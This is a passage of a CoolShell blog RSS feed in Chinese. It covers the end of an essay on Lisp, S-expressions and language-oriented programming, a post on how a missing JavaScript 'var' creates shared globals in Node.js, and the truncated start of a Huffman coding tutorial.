&lt;/func&gt;\n</pre>\n<p>其次，我们可以用它来定义类：</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n    &lt;class name=&quot;Computer&quot;&gt;\n        &lt;field access=&quot;private&quot; type=&quot;MainBoard&quot; name=&quot;main-board&quot; /&gt;\n        &lt;field access=&quot;private&quot; type=&quot;CPU&quot; name=&quot;cpu&quot; /&gt;\n        &lt;field access=&quot;private&quot; type=&quot;Memory&quot; name=&quot;memory&quot; /&gt;\n\n        &lt;method access=&quot;public&quot; return_type=&quot;boolean&quot; name=&quot;powerOn&quot; /&gt;\n            &lt;params&gt;...&lt;/params&gt;\n            &lt;body&gt;...&lt;/body&gt;\n        &lt;/method&gt;\n\n        &lt;method access=&quot;public&quot; return_type=&quot;boolean&quot; name=&quot;powerOff&quot; /&gt;\n            &lt;params&gt;...&lt;/params&gt;\n            &lt;body&gt;...&lt;/body&gt;\n        &lt;/method&gt;\n    &lt;/class&gt;\n</pre>\n<p>还可以轻易地用它来编写关系查询：</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n&lt;sql&gt;\n    &lt;select&gt;\n        &lt;column name=&quot;employees.id&quot; /&gt;\n        &lt;column name=&quot;bonus.amount&quot; /&gt;\n    &lt;/select&gt;\n    &lt;from&gt;\n        &lt;table name=&quot;employees&quot; /&gt;\n        &lt;table name=&quot;bonus&quot; /&gt;\n    &lt;/from&gt;\n    &lt;where&gt;\n        &lt;equals&gt;\n            &lt;column name=&quot;employees.id&quot; /&gt;\n            &lt;column name=&quot;bonus.employee_id&quot; /&gt;\n        &lt;/equals&gt;\n    &lt;/where&gt;\n&lt;/sql&gt;\n</pre>\n<p>还可以用它来实现类似make file的自动化构建(语法取自ant)：</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n    &lt;project name=&quot;MyProject&quot; default=&quot;dist&quot; basedir=&quot;.&quot;&gt;\n        &lt;property name=&quot;src&quot; location=&quot;src&quot;/&gt;\n        &lt;property name=&quot;build&quot; location=&quot;build&quot;/&gt;\n        &lt;property name=&quot;dist&quot;  location=&quot;dist&quot;/&gt;\n\n        &lt;target name=&quot;init&quot;&gt;\n            &lt;mkdir dir=&quot;${build}&quot;/&gt;\n        &lt;/target&gt;\n\n        &lt;target name=&quot;compile&quot; depends=&quot;init&quot; description=&quot;compile the source &quot; &gt;\n            &lt;javac srcdir=&quot;${src}&quot; destdir=&quot;${build}&quot;/&gt;\n        &lt;/target&gt;\n\n        &lt;target name=&quot;dist&quot; depends=&quot;compile&quot; description=&quot;generate the distribution&quot; &gt;\n            &lt;mkdir dir=&quot;${dist}/lib&quot;/&gt;\n            &lt;jar jarfile=&quot;${dist}/lib/MyProject-${DSTAMP}.jar&quot; basedir=&quot;${build}&quot;/&gt;\n        &lt;/target&gt;\n\n        &lt;target name=&quot;clean&quot; description=&quot;clean up&quot; &gt;\n            &lt;delete dir=&quot;${build}&quot;/&gt;\n            &lt;delete dir=&quot;${dist}&quot;/&gt;\n        &lt;/target&gt;\n    &lt;/project&gt;\n</pre>\n<p>一口气举了这么多个例子，目的在于用XML这种树形结构来说明Lisp的S表达式所能够描述的语义。不知道你是否发现了S表达式和XML这种树形语法在语义构造方面有着特别的“柔性”？我们可以轻易地用它构造出函数、变量、条件判断语义；类、属性、方法语义；可以轻易地构造出关系模型的select、where语义；可以轻易地构造出make的target、depends语义，等等数不清的语义。在普通语言里，你可以定义一个函数、一个类，但你无法为C语言增加匿名函数特性，也没法给Java语言加上RAII语义，甚至连自己创造一个foreach循环都不行，而自定义语义意味着在Lisp之上<strong>你创造了一门语言</strong>！不管是面向过程，面向对象，函数式，还是关系模型，在Lisp里统统都变成了一种DSL，而Lisp本身也就成了一种定义语言的语言，即元语言(Meta Language)。</p>\n<p>Lisp的柔性与S表达式有着密切的关系。Lisp并不限制你用S表达式来表达什么语义，同样的S表达式语法可以表达各种不同领域的语义，这就是<strong>语法和语义解耦</strong>。如果说普通语言的刚性源于“语法和语义紧耦合”，那么Lisp的柔性正是源于“语法和语义解耦”！“语法和语义解耦”使得Lisp可以随意地构造各种领域的DSL，而不强制用某一种范式或是领域视角去分析和解决问题。本质上，Lisp编程是一种超越了普通编程范式的范式，这就是<strong>Lisp之道：面向语言编程(LOP, Language Oriented Programming)</strong>。Wikipedia上是这样描述LOP的：</p>\n<blockquote><p>Language oriented programming (LOP) is a style of computer programming in which, rather than solving problems in general-purpose programming languages, the programmer creates one or more domain-specific languages for the problem first, and solves the problem in those languages &#8230; The concept of Language Oriented Programming takes the approach to capture requirements in the user&#8217;s terms, and then to try to create an implementation language as isomorphic as possible to the user&#8217;s descriptions, so that the mapping between requirements and implementation is as direct as possible.</p></blockquote>\n<p>LOP范式的基本思想是从问题出发，先创建一门描述领域模型的DSL，再用DSL去解决问题，它具有高度的声明性和抽象性。SQL、make file、CSS等DSL都可以被认为是LOP的具体实例，下面我们再通过两个常见的例子来理解LOP的优势。</p>\n<p>例1：在股票交易系统中，交易协议定义若干二进制的消息格式，交易所和客户端需要对消息进行编码和解码。</p>\n<p>消息格式是一种抽象的规范，本身不对语言做任何的限制，你可以用C，C++，Java，或者Python。普通的实现方式是按照消息格式规范，在相应的语言中定义消息结构，并编写相应的编解码函数。假设为一个消息定义结构和实现编解码函数的工作量为M，不同消息类型的数量为N，这种方式的工作量大致为M*N。也就是说每增加一种消息类型，就需要为该消息定义结构，实现编解码函数，引入bug的可能性当然也和M*N成正比。如果仔细观察不难发现，各个消息结构其实是高度类似的，编解码函数也大同小异，但是普通语言却找不到一种抽象机制能表达这种共性，比如，我们无法通过面向对象的方法定义一个基类把消息结构的共性抽象出来，然后让具体的消息去继承它，达到复用的目的。这正是由于普通语言的抽象维度限制所致，在普通语言中，你只能从函数、接口等维度对事物进行抽象，而恰好消息格式共性所在的维度与这些抽象维度并不匹配。</p>\n<p>其实，不同消息类型的<strong>共性在于它们都具有相同的领域语义</strong>，比如：“某字段内容是另一个字段内容的md5码”就是一种消息格式的领域语义，这种领域语义是OOP的抽象机制无法描述的。LOP的思路是先创建一门消息定义DSL，比如，类似Google的Protocol Buffer，Android的AIDL。然后，通过DSL编写消息定义文件，直接声明式地描述消息的结构特征，比如，我们可以声明式地描述“某字段内容是另一个字段内容的md5码”。我们还需要为DSL开发编译器用于生成C、Java等通用语言的消息定义和编解码函数。</p>\n<p>有了消息定义DSL和编译器之后，由于DSL编写消息定义是一种高度声明式的编程方法，每增加一种消息的只需要多编写一个消息定义文件而已，工作量几乎可以忽略不计。所有的工作量都集中在编译器的开发上，工作量是一个常数C，与消息的数量没有关系；质量保证方面也只需要关注编译器这一点，不会因为增加新的消息类型而引入bug。</p>\n<p>例2：在图书管理系统中，需要支持在管理界面上对书籍、学生、班级等各种实体进行管理操作。</p>\n<p>如果按传统的三层架构，一般需要在后端程序中为每一种实体定义一个类，并定义相应的方法实现CRUD操作，与之相应的，还需要在前端页面中为每一个实体编写相应的管理页面。这些实体类的CRUD操作都是大同小异的，但细节又各不相同，虽然我们很想复用某些共同的设计实现，但OOP所提供的封装、继承、多态等抽象机制不足以有效捕获实体之间的共性，大量的代码还是必须放在子类中来完成。比如，Student和Book实体类的实现非常相似，但是如果要通过OOP的方式去抽象它们的共性，得出的结果多半是Entity这样的大而空的基类，很难起到复用的效果。</p>\n<p>其实，不同实体之间的共性还是在于它们具有相同的领域语义，比如：实体具有属性，属性具有类型，属性具有取值范围，属性具有可读取、可编辑等访问属性，实体之间有关联关系等。LOP方法正是直接面向这种领域语义的。采用LOP方法，我们并不需要为每一个实体类单独编写CRUD方法，也不需要单独编写管理页面，只需要定义一种DSL并实现其编译器；然后，用DSL声明式地编写实体描述文件，去描述实体的属性列表，属性的类型、取值范围，属性所支持的操作，属性之间的关系和约束条件等；最后，通过这个实体描述文件自动生成后端的实体类和前端管理页面。采用LOP，不论前后端采用何种技术，Java也好，C#也好，JSP也好，ASP.NET也好，都可以自动生成它们的代码。采用LOP的工作量和质量都集中在DSL的设计和编译器的开发，与实体的数量无关，也就是说，越是庞大的系统，实体类越多越是能体现LOP的优势。</p>\n<p>通过上面两个小例子我们可以感受到，LOP是一种面向领域的，高度声明式的编程方式，它的抽象维度与领域模型的维度完全一致。LOP能让程序员从复杂的实现细节中解脱出来，把关注点集中在问题的本质上，从而提高编程的效率和质量。</p>\n<p>接下来的问题是如果需要为某领域设计DSL，我们是应该发明一门类似SQL这样的专用DSL呢，还是用XML或S表达式去定义DSL呢？它们各有何优缺点呢？</p>\n<p>我认为采用XML或S表达式定义DSL的优点主要有：1) SQL、make file、CSS等专用DSL都只能面向各自的领域，而一个实际的领域问题通常是跨越多个领域的，有时我们需要将不同领域融合在一起，但是由于普通语言的刚性，多语言融合通常会是一件非常困难的事情，而XML和S表达式语法结构的单一性和“代码及数据”的特点使得跨领域融合毫无障碍。2) 在为DSL开发编译器或解释器的方面，二者难度不同。对XML和S表达式定义的DSL进行语法分析非常简单，相比之下，对SQL这样的专用DSL进行语法分析，虽然可以借助Lex、Yacc、ANTLR等代码生成工具，但总的来讲复杂度还是要明显高一些。</p>\n<p>当然，XML和S表达式的优点也正好是其缺点，由于XML和S表达式的语法形式是固定的，不能像专用DSL那样自由地设计语法。所以，一般来讲专用DSL的语法显得更加简洁。换句话说，XML和Lisp其实是在语法和语义间做了一个交换，用语法的限制换来了语义的灵活。</p>\n<h4>Lisp之器</h4>\n<p>接下来我们继续探讨DSL的解释执行问题。DSL代码的解释执行一般分为3种典型的方式：1) 通过专门的解释器解释执行；2) 编译生成其他语言的代码，再通过其他语言的解释器解释执行(或编译运行)；3) 自解释。比如，第1类的代表是SQL，上一节举的两个例子都属于第2类，而第3类自解释正是Lisp的特色。</p>\n<p>为了理解自解释，我们可以先从内部DSL的解释执行说起。内部DSL是指嵌入在宿主语言中的DSL，比如，Google Test单元测试框架定义了一套基于流畅接口(Fluent Interface)的C++单元测试DSL。从语义构造的角度看，内部DSL直接借用宿主语言的语法定义了自己的领域语义，是一种语法和语义解耦；从解释执行的角度看，内部DSL是随宿主语言的解释器而自动解释的，不需要像外部DSL一样开发专门的解释器，因而实现的代价很低。当然，并不是说设计内部DSL不用关心任何的解释实现，实际上，还是需要熟悉宿主语言的特性，并利用该特性使得DSL能随着宿主语言的解释器得到解释执行。</p>\n<p>Lisp拥有强大的自解释特性，这得益于独一无二的<strong>Lisp之器：宏 (macro)</strong>。宏使得Lisp编写的DSL可以被Lisp解释器直接解释执行，这在原理上与内部DSL是相通的，只是内部DSL一般是利用宿主语言的链式调用等特性，通常形式简陋，功能有限，而Lisp的宏则要强大和灵活得多。</p>\n<p>C语言中也有宏的概念，不过Lisp的宏与C语言的宏完全不同，C语言的宏是简单的字符串替换。比如，下面的宏定义：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#define square(x) (x*x)\n</pre>\n<p>square(1+1)的期望结果是4，而实际上它会被替换成(1+1*1+1)，结果是3。这个例子说明，C语言的宏只在预编译阶段进行简单的字符串替换，对程序语法结构缺乏理解，非常脆弱。Lisp的宏不是简单的字符串替换，而是一套完整的代码生成系统，它是在语法解析的基础上把Lisp代码从一种形式转换为另一种形式，本质上起到了普通语言编译器的作用。不同的是，普通编译器是把一种语言的代码转换为另一种语言的代码，比如，Java编译器把Java代码转换成Java字节码；而Lisp宏的输入和输出都是S表达式，它本质上是把一种DSL转换为另一种DSL。下面的例子是宏的一个典型用法。</p>\n<p>例3：假设Lisp解释器已经具备解释执行面向过程DSL的能力，需要实现类似ant的自动化构建工具。</p>\n<p>我们可以基于宏构建一门类ant的DSL，宏的作用是把类ant DSL通过宏展开变成面向过程的DSL，最后被Lisp解释器所解释执行。这样用Lisp编写的ant DSL就不需要被编译为其他语言，也不需要像XML的ant一样依赖于专门的解释器了。</p>\n<p>当然，和开发专门的解释器/编译器相比，Lisp的宏也并非没有缺点，宏难以理解，开发和调试更加困难。到底是开发专门的解释器/编译器还是直接采用宏应该视具体情况而定。</p>\n<h4>总结</h4>\n<p>Lisp采用单一的S表达式语法表达不同的语义，实现了语法和语义解耦。这使得Lisp具有强大的语义构造能力，擅长于构造DSL实现面向语言编程，而宏使得Lisp具有自解释能力，让不同DSL之间的转换游刃有余。进入Lisp的世界应当从理解面向语言编程入门，这是Lisp之道，而函数式编程和宏皆为Lisp之器，以道驭器方为正途。</p>\n<h4>后记</h4>\n<p>本文是我学习Lisp的一个总结，也是写给有兴趣学习Lisp的程序员的入门资料。必须说明，我还是一个标准的Lisp初学者，几乎没有写过像样的Lisp程序，文中的错误和不足在所难免，希望读者批评指正，感谢！</p>\n<h4>参考</h4>\n<p><a href=\"http://www.paulgraham.com/rootsoflisp.html\">The Roots of Lisp</a></p>\n<p><a href=\"http://www.defmacro.org/ramblings/lisp.html\">The Nature of Lisp</a></p>\n<p><a href=\"http://lists.warhead.org.uk/pipermail/iwe/2005-July/000130.html\">Why Lisp macros are cool, a Perl perspective</a></p>\n<p><a href=\"http://en.wikipedia.org/wiki/Language-oriented_programming\">Wikipedia: Language-oriented programming</a></p>\n<p><a href=\"http://book.douban.com/subject/6859720/\">《实用Common Lisp编程》</a></p>\n<p><a href=\"http://book.douban.com/subject/4031906/\">《冒号课堂 &#8211; 编程范式与OOP思想》</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li><li ><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" alt=\"编程语言汽车\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_title\">编程语言汽车</a></li><li ><a href=\"https://coolshell.cn/articles/3928.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/03/4kQAz-150x150.jpg\" alt=\"计算机专业学生的大学生活\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3928.html\" class=\"wp_rp_title\">计算机专业学生的大学生活</a></li><li ><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" alt=\"Docker基础技术：AUFS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_title\">Docker基础技术：AUFS</a></li><li ><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" alt=\"关于高可用的系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_title\">关于高可用的系统</a></li><li ><a href=\"https://coolshell.cn/articles/19.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"时间1234567890\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19.html\" class=\"wp_rp_title\">时间1234567890</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7526.html\">Lisp的永恒之道</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7526.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>93</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Javascript 中的 var</title>\n\t\t<link>https://coolshell.cn/articles/7480.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7480.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 24 May 2012 06:50:31 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[JSLint]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7480</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>MelonCard发布了一篇文章——&#8221;how one missing var ruined our launch&#8220;（&#8221;少写了...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7480.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7480.html\">Javascript 中的 var</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>MelonCard发布了一篇文章——&#8221;<a href=\"http://blog.meloncard.com/post/12175941935/how-one-missing-var-ruined-our-launch\" target=\"_blank\">how one missing var ruined our launch</a>&#8220;（&#8221;少写了一个var毁了我的网站&#8221;），这篇文章是说MelonCard用Node.js做后台，因为出了一个小高峰——有50-100人注册，结果整个网站都不响应了，而且还出现了很多奇怪的问题。当他们调查到问题的要源的时候，他们发现下面的代码少写了一个var。</p>\n<p>[javascript]app.all(‘/apps/:user_id/status’, function(req, res, next) {<br />\n    // …<br />\n    initial = extractVariables(req.body);<br />\n});[/javascript]</p>\n<p>为什么inital少写一个var会引发这个问题呢？因为如果你不写var，这个局部的变量会被javascript当成全局变量，而这个变量又是一个函数，所以，当多用户并发的时候，这个本应该在不同用户下互不干扰的变量，成了各个用户共享的东西。试想，用户A的数据被用户B覆盖了，用户A和B的数据还没处理完，结果被新的C给搞乱了，程序的逻辑自然出现了问题。</p>\n<p>在stackoverflow.com上有<a href=\"http://stackoverflow.com/questions/1470488/difference-between-using-var-and-not-using-var-in-javascript\" target=\"_blank\">这么一个贴子说明了“有var”和“无var”</a>的差别：</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">// These are both globals\nvar foo = 1;\nbar = 2;\n\nfunction test()\n{\n    var foo = 1; // Local\n    bar = 2;     // Global\n\n    // Execute an anonymous function\n    (function()\n    {\n        var wibble = 1; // Local\n        foo = 2; // Inherits from scope above (creating a closure)\n        moo = 3; // Global\n    }())\n}</pre>\n<p>上面这个示例告诉我们，如果你不用var，那么这个js引擎会一层一层地向上找父作用域中的变量，如果找到了，就用，如果找不到了，就会帮你定义一个全局的变量。上面这个例子充分说明了这一点。所以，<strong>如果你想在当前的作用域用声明变量，你一定要用var</strong>。这对于一些乱写javascript代码的程序员要注意了。这里再给大家介绍一个工具——</p>\n<p><span id=\"more-7480\"></span></p>\n<p><strong>JSLint( <a href=\"http://www.jslint.com/\">http://www.jslint.com/</a> )</strong>，一个JS代码质量的分析工具，我们把上述stackoverflow的代码copy到JSLint这个在线工具中，我们可以看到下面的报告：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7483\" title=\"jslint\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/jslint.jpg\" alt=\"\" width=\"500\" height=\"184\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/05/jslint.jpg 500w, https://coolshell.cn/wp-content/uploads/2012/05/jslint-300x110.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p>这个报告说明了源码中的那些变量的情况。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7480.html\">Javascript 中的 var</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7480.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>48</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Huffman 编码压缩算法</title>\n\t\t<link>https://coolshell.cn/articles/7459.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7459.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 22 May 2012 05:32:05 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[Compress]]></category>\n\t\t<category><![CDATA[Huffman Code]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7459</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前两天发布那个rsync算法后，想看看数据压缩的算法，知道一个经典的压缩算法Huffman算法。相信大家应该听说过 David Huffman 和他的压缩算法—...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7459.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7459.html\">Huffman 编码压缩算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>前两天发布那个<a title=\"rsync 的核心算法\" href=\"https://coolshell.cn/articles/7425.html\" target=\"_blank\">rsync算法</a>后，想看看数据压缩的算法，知道一个经典的压缩算法Huffman算法。相信大家应该听说过 <a title=\"David Huffman\" href=\"http://en.wikipedia.org/wiki/David_A._Huffman\" target=\"_blank\">David Huffman</a> 和他的压缩算法—— <a href=\"http://en.wikipedia.org/wiki/Huffman_coding\" target=\"_blank\">Huffman Code</a>，一种通过字符出现频率，<a href=\"http://en.wikipedia.org/wiki/Priority_queue\" target=\"_blank\">Priority Queue</a>，和二叉树来进行的一种压缩算法，这种二叉树又叫Huffman二叉树 —— 一种带权重的树。从学校毕业很长时间的我忘了这个算法，但是网上查了一下，中文社区内好像没有把这个算法说得很清楚的文章，尤其是树的构造，而正好看到一篇国外的文章《<a href=\"http://en.nerdaholyc.com/huffman-coding-on-a-string/\" target=\"_blank\">A Simple Example of Huffman Code on a String</a>》，其中的例子浅显易懂，相当不错，我就转了过来。注意，我没有对此文完全翻译。</p>\n<p>我们直接来看示例，如果我们需要来压缩下面的字符串：</p>\n<p style=\"text-align: center;\"><strong> “beep boop beer!” </strong></p>\n<p>首先，我们先计算出每个字符出现的次数，我们得到下面这样一张表 :</p>\n<p><center></p>\n<table style=\"width: 250px; height: 200px;\">\n<tbody>\n<tr>\n<td><span style=\"font-size: 12px;\">字符</span></td>\n<td>次数</td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘b’</span></td>\n<td><span style=\"font-size: 12px;\">3</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘e’</span></td>\n<td><span style=\"font-size: 12px;\">4</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘p’</span></td>\n<td><span style=\"font-size: 12px;\">2</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘ ‘</span></td>\n<td><span style=\"font-size: 12px;\">2</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘o’</span></td>\n<td><span style=\"font-size: 12px;\">2</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘r’</span></td>\n<td><span style=\"font-size: 12px;\">1</span></td>\n</tr>\n<tr>\n<td><span style=\"font-size: 12px;\">‘!’</span></td>\n<td><span style=\"font-size: 12px;\">1</span></td>\n</tr>\n</tbody>\n</table>\n<p></center><br />\n然后，我把把这些东西放到Priority Queue中（用出现的次数据当 priority），我们可以看到，Priority Queue 是以Prioirry排序一个数组，如果Priority一样，会使用出现的次序排序：下面是我们得到的Priority Queue：</p>\n<p><span id=\"more-7459\"></span></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/coada1.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-234 aligncenter\" title=\"coada1\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/coada1.png\" alt=\"\" width=\"440\" height=\"61\" /></a></p>\n<p>接下来就是我们的算法——把这个Priority Queue 转成二叉树。我们始终从queue的头取两个元素来构造一个二叉树（第一个元素是左结点，第二个是右结点），并把这两个元素的priority相加，并放回Priority中（再次注意，这里的Priority就是字符出现的次数），然后，我们得到下面的数据图表：</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/coada2.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-239\" title=\"coada2\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/coada2.png\" alt=\"\" width=\"411\" height=\"151\" /></a></p>\n<p>同样，我们再把前两个取出来，形成一个Priority为2+2=4的结点，然后再放回Priority Queue中 :</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2012/05/coada31.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-242 aligncenter\" title=\"coada3\" src=\"https://coolshell.cn/wp-content/uploads/2012/05/coada31.png\" alt=\"\" width=\"325\" height=\"201\" /></a></p>\n<p>继续我们的算法（我们可以看到，这是一种自底向上的建树的过程）：</p>\n<p><a 